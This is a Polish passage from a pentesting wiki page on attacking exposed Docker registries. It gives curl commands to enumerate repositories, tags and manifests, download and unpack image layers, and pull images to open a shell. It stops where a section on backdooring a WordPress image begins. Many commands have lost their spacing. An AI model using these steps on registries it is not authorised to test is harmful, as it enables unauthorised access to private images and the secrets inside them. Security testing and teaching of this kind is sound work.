Podziel się swoimi sztuczkami hakowania, przesyłając PR-y doHackTricks i HackTricks Cloud repozytoriów na GitHubie.
Podstawowe informacje
System przechowywania i dystrybucji znany jako rejestr Docker jest przeznaczony dla obrazów Docker, które są nazwane i mogą występować w wielu wersjach, odróżnianych za pomocą tagów. Te obrazy są zorganizowane w ramach repozytoriów Dockera w rejestrze, gdzie każde repozytorium przechowuje różne wersje określonego obrazu. Dostarczona funkcjonalność pozwala na pobieranie obrazów lokalnie lub przesyłanie ich do rejestru, zakładając, że użytkownik ma odpowiednie uprawnienia.
DockerHub pełni rolę domyślnego publicznego rejestru dla Dockera, ale użytkownicy mają również możliwość korzystania z wersji lokalnej otwartoźródłowego rejestru/dystrybucji Dockera lub wyboru komercyjnie wspieranego Docker Trusted Registry. Dodatkowo, można znaleźć różne inne publiczne rejestry online.
Aby pobrać obraz z rejestru lokalnego, używane jest następujące polecenie:
dockerpullmy-registry:9000/foo/bar:2.1
To polecenie pobiera obraz foo/bar w wersji 2.1 z rejestru lokalnego na domenie my-registry na porcie 9000. W przeciwnym razie, aby pobrać ten sam obraz z DockerHub, zwłaszcza jeśli 2.1 jest najnowszą wersją, polecenie upraszcza się do:
dockerpullfoo/bar
Domyślny port: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
Odkrywanie
Najłatwiejszym sposobem odkrycia działającej usługi jest uzyskanie jej w wyniku działania nmap. Zauważ jednak, że jako usługa oparta na HTTP może być ukryta za proxy HTTP i nmap jej nie wykryje.
Niektóre odciski:
Jeśli uzyskasz dostęp do /, w odpowiedzi nie zostanie zwrócone nic
Jeśli uzyskasz dostęp do /v2/, zostanie zwrócone {}
Jeśli uzyskasz dostęp do /v2/_catalog, możesz otrzymać:
Rejestr Docker może być skonfigurowany do użycia HTTP lub HTTPS. Więc pierwszą rzeczą, którą możesz musisz zrobić, to znaleźć, który jest skonfigurowany:
Rejestr Docker może być również skonfigurowany do wymagania uwierzytelniania:
curl-khttps://192.25.197.3:5000/v2/_catalog#If Authentication required{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required{"repositories":["alpine","ubuntu"]}
Jeśli Docker Registry wymaga uwierzytelnienia, możesz spróbować je złamać używając tej metody.
Jeśli znajdziesz poprawne dane uwierzytelniające, będziesz musiał je użyć do wyliczenia rejestru, w curl możesz je użyć w ten sposób:
DockerRegistryGrabber to narzędzie napisane w języku Python służące do wyliczania / wycieku rejestru Docker (bez autoryzacji lub z podstawową autoryzacją)
Gdy już uzyskasz dostęp do rejestru Docker, oto kilka poleceń, których możesz użyć do jego wyliczenia:
#List repositoriescurl-shttp://10.10.10.10:5000/v2/_catalog{"repositories":["alpine","ubuntu"]}#Get tags of a repositorycurl-shttp://192.251.36.3:5000/v2/ubuntu/tags/list{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}#Get manifestscurl-shttp://192.251.36.3:5000/v2/ubuntu/manifests/latest{"schemaVersion":1,"name":"ubuntu","tag":"latest","architecture":"amd64","fsLayers": [{"blobSum":"sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"},{"blobSum":"sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"},{"blobSum":"sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"}],"history": [{"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},{"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},{"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}],"signatures": [{"header":{"jwk":{"crv":"P-256","kid":"DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX","kty":"EC","x":"leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg","y":"Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"},"alg":"ES256"},"signature":"GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q","protected":"eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"}]}#Download one of the previously listed blobscurl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blobtar-xfblob1.tar#After this,inspect the new folders and files created in the current directory
Zauważ, że po pobraniu i rozpakowaniu plików blobów i folderów pojawią się w bieżącym katalogu. Jeśli pobierzesz wszystkie bloby i rozpakujesz je w tym samym folderze, nadpiszą wartości z wcześniej rozpakowanych blobów, więc bądź ostrożny. Może być interesujące rozpakować każdy blob w innym folderze, aby sprawdzić dokładną zawartość każdego bloba.
Wyliczanie przy użyciu Dockera
#Once you know which images the server is saving (/v2/_catalog) you can pull themdockerpull10.10.10.10:5000/ubuntu#Check the commands used to create the layers of the imagedockerhistory10.10.10.10:5000/ubuntu#IMAGE CREATED CREATED BY SIZE COMMENT#ed05bef01522 2 years ago ./run.sh 46.8MB#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB#Run and get a shelldockerrun-it10.10.10.10:5000/ubuntubash#Leave this shell runningdockerps#Using a different shelldockerexec-it7d3a81fe42d7bash#Get ash shell inside docker container
Dodawanie tylnych drzwi do obrazu WordPress
W przypadku, gdy znajdziesz Rejestr Docker zapisujący obraz WordPress, możesz go zaatakować.
Utwórztylne drzwi: